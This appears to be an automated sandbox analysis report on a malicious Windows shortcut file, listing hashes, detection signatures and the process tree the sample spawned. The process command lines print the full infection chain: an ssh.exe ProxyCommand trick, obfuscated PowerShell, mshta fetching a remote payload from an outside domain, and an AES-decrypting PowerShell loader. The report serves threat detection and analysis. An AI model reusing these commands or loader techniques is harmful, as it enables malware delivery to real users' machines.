Edit tour
Windows
Analysis Report
tz1WicW6sG.lnk
Overview
General Information
Sample name: | tz1WicW6sG.lnkrenamed because original name is a hash value |
Original sample name: | 30fa4cb1ff177851f537fcb7e1a99dae38620761a7306677162a2664c3c86ea4.lnk.d.lnk |
Analysis ID: | 1576539 |
MD5: | 762d0bf4de8d11d709c56029eb902274 |
SHA1: | b4afb65882ab115067b40386324502f113b21333 |
SHA256: | 30fa4cb1ff177851f537fcb7e1a99dae38620761a7306677162a2664c3c86ea4 |
Tags: | lnkstaticklipxuhaq-shopuser-JAMESWT_MHT |
Infos: | |
Detection
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for submitted file
Windows shortcut file (LNK) starts blacklisted processes
AI detected suspicious sample
Found direct / indirect Syscall (likely to bypass EDR)
May use the Tor software to hide its network traffic
Powershell drops PE file
Sigma detected: Potentially Suspicious PowerShell Child Processes
Sigma detected: Suspicious MSHTA Child Process
Suspicious powershell command line found
Windows shortcut file (LNK) contains suspicious command line arguments
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Drops PE files
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains sections with non-standard names
Queries disk information (often used to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Searches for the Microsoft Outlook file path
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Lolbin Ssh.exe Use As Proxy
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match
Classification
- System is w10x64
- ssh.exe (PID: 6460 cmdline:
"C:\Window s\System32 \OpenSSH\s sh.exe" -o Pr oxyCommand ="powershe ll powersh ell -Comma nd 'kqOxxi }}=eH>Yz1> 9jmshta ht tps://stat ic.klipxuh aq.shop/BU X6P.mp4kqO xxi}}=eH>Y z1>9j'.Sub String(18, 45)" . MD5: C05426E6F6DFB30FB78FBA874A2FF7DC) - conhost.exe (PID: 6480 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 6804 cmdline:
powershell powershel l -Command 'kqOxxi}} =eH>Yz1>9j mshta http s://static .klipxuhaq .shop/BUX6 P.mp4kqOxx i}}=eH>Yz1 >9j'.SubSt ring(18, 4 5) MD5: 04029E121A0CFA5991749937DD22A1D9) - powershell.exe (PID: 3924 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -Command " mshta http s://static .klipxuhaq .shop/BUX6 P.mp4" MD5: 04029E121A0CFA5991749937DD22A1D9) - mshta.exe (PID: 5868 cmdline:
"C:\Window s\system32 \mshta.exe " https:// static.kli pxuhaq.sho p/BUX6P.mp 4 MD5: 0B4340ED812DC82CE636C00FA5C9BEF2) - powershell.exe (PID: 6956 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -w 1 -ep U nrestricte d -nop fun ction albv ($AuxRS){r eturn -spl it ($AuxRS -replace '..', '0x$ & ')};$Jql Q = albv(' A2C48681D2 459656E469 2303B9BC7C FF6E08A10A 0184319791 98D25A52F8 94F6DC4437 32B0C33549 05BE975423 F38084D272 7CBF0DAC9B 616709F076 910568402E 1B28EF5D32 B51C2AC725 A34041CB2C 720AC989DB 2E62000FD9 88905E1A63 89FB0D52E3 7D7C2115DD 226B708311 260031E5FE 6BC8BC5E87 908C3714AA BD2F115C12 D362819A4E 916FEED235 A129FBF323 D36DE4AD90 2E8C8A51A2 33D5853E42 F28657DE3E D15211BFE6 941DBD1C7F 0256309743 68A83FD5DE 963EF1E91E FD56DBFA68 AD8063783D 6639F87D1F E6BFD099BB E5A6D9601E F7EC17FDA4 3D8AE527D0 296119AD7E BF32FD111A 12DBB01041 DEB9BAD024 00A8B21A16 4E61A0C5EE BF6EBA6731 A52636245A 483B65EF09 C62369BF5F 6779155AFF 4AE3C49130 512D33C4A4 47294185B0 AF3F2DC5BF D7040C32F4 5793CA424E 8DC070D428 B1E88AE756 B7D81C20E9 0E56A70C92 C46B646DB0 6D5D809F59 7FCB0B2A83 5686434F9B 8EE1346022 A7E67A5FF1 E93282DD68 5DDBA750B1 64855122CF E1595D8D4C 626CCDC95D 069D378F11 D1D01CEE44 578BB248B7 07DF3936CE 1150D5A850 E2C59D2B6E A91D541C5F A289284F98 4D5EF5F1BB AE1C95E6CD 4D479D1816 8F4F5A1F6A 3D2516C975 48490FE4ED E1E8FBD460 26BF7C44F9 2B74E23BFF 805094490D B237A8FBA5 2231FA45C8 D0CADE12CE 630F42AD7D 6C814EAC99 11B70168A2 11C18F6483 29E6E5D0E3 1F6A222BA9 29C78E74D5 A726AB7BD0 489D0E553E AA929C4C48 1CF50DF1B3 A85B394D77 767C3D7603 8DF4EF9DF6 DDCF525420 4467B03959 3F4A73AA39 64076F9237 DB55DC43BA E2E0A12466 D7F7BA4534 18AA783574 D20BD5A3ED 874800B106 05DEAA6FC4 71AB3B4A88 22C688A244 DA7A4CB285 55DF5FFD93 045A415438 6BDC999322 DC1D7DAD00 2E13C7B227 3236812A6E 335C1646D8 7460F8997E 340C4EF0B4 62C6F9E2A2 90FD703294 DE51C6349E C9DA9CED11 400F78CCFF A21F2B7A01 319F1AF67B D8795B27F8 17E01A0EE0 0453663975 48B1C18343 E85D61F0E8 1F6554E60F 30C0398602 1E0B29EEBA CFD5A055F6 A04BDE3FB6 7D9F1BBF0C 59CD41D646 FF685434E2 5B463EFFB7 69528BEE') ;$PUPw=-jo in [char[] ](([Securi ty.Cryptog raphy.Aes] ::Create() ).CreateDe cryptor((a lbv('45625 9425371705 14679715A5 3476565')) ,[byte[]]: :new(16)). TransformF inalBlock( $JqlQ,0,$J qlQ.Length )); & $PUP w.Substrin g(0,3) $PU Pw.Substri ng(257) MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 7024 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - Acrobat.exe (PID: 7164 cmdline:
"C:\Progra m Files\Ad obe\Acroba t DC\Acrob at\Acrobat .exe" "C:\ Users\user \AppData\R oaming\Mcy ga.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C) - AcroCEF.exe (PID: 7368 cmdline:
"C:\Progra m Files\Ad obe\Acroba t DC\Acrob at\acrocef _1\AcroCEF .exe" --ba ckgroundco lor=167772 15 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE) - AcroCEF.exe (PID: 7584 cmdline:
"C:\Progra m Files\Ad obe\Acroba t DC\Acrob at\acrocef _1\AcroCEF .exe" --ty pe=utility --utility -sub-type= network.mo jom.Networ kService - -lang=en-U S --servic e-sandbox- type=none --log-seve rity=disab le --user- agent-prod uct="Reade rServices/ 23.6.20320 Chrome/10 5.0.0.0" - -lang=en-U S --log-fi le="C:\Pro gram Files \Adobe\Acr obat DC\Ac robat\acro cef_1\debu g.log" --m ojo-platfo rm-channel -handle=20 92 --field -trial-han dle=1636,i ,169719747 3104009759 2,91008695 1247409170 7,131072 - -disable-f eatures=Ba ckForwardC ache,Calcu lateNative WinOcclusi on,WinUseB rowserSpel lChecker / prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE) - bdd.exe (PID: 7204 cmdline:
"C:\Users\ user\AppDa ta\Roaming \bdd.exe" MD5: 1B4971205E6226DF6B9B11527F70A14F)
- svchost.exe (PID: 6220 cmdline:
C:\Windows \System32\ svchost.ex e -k netsv cs -p -s B ITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
- cleanup
⊘No configs have been found
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC | Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution | ditekSHen |
|
System Summary |
---|
Source: | Author: Florian Roth (Nextron Systems), Tim Shelton: |
Source: | Author: Michael Haag: |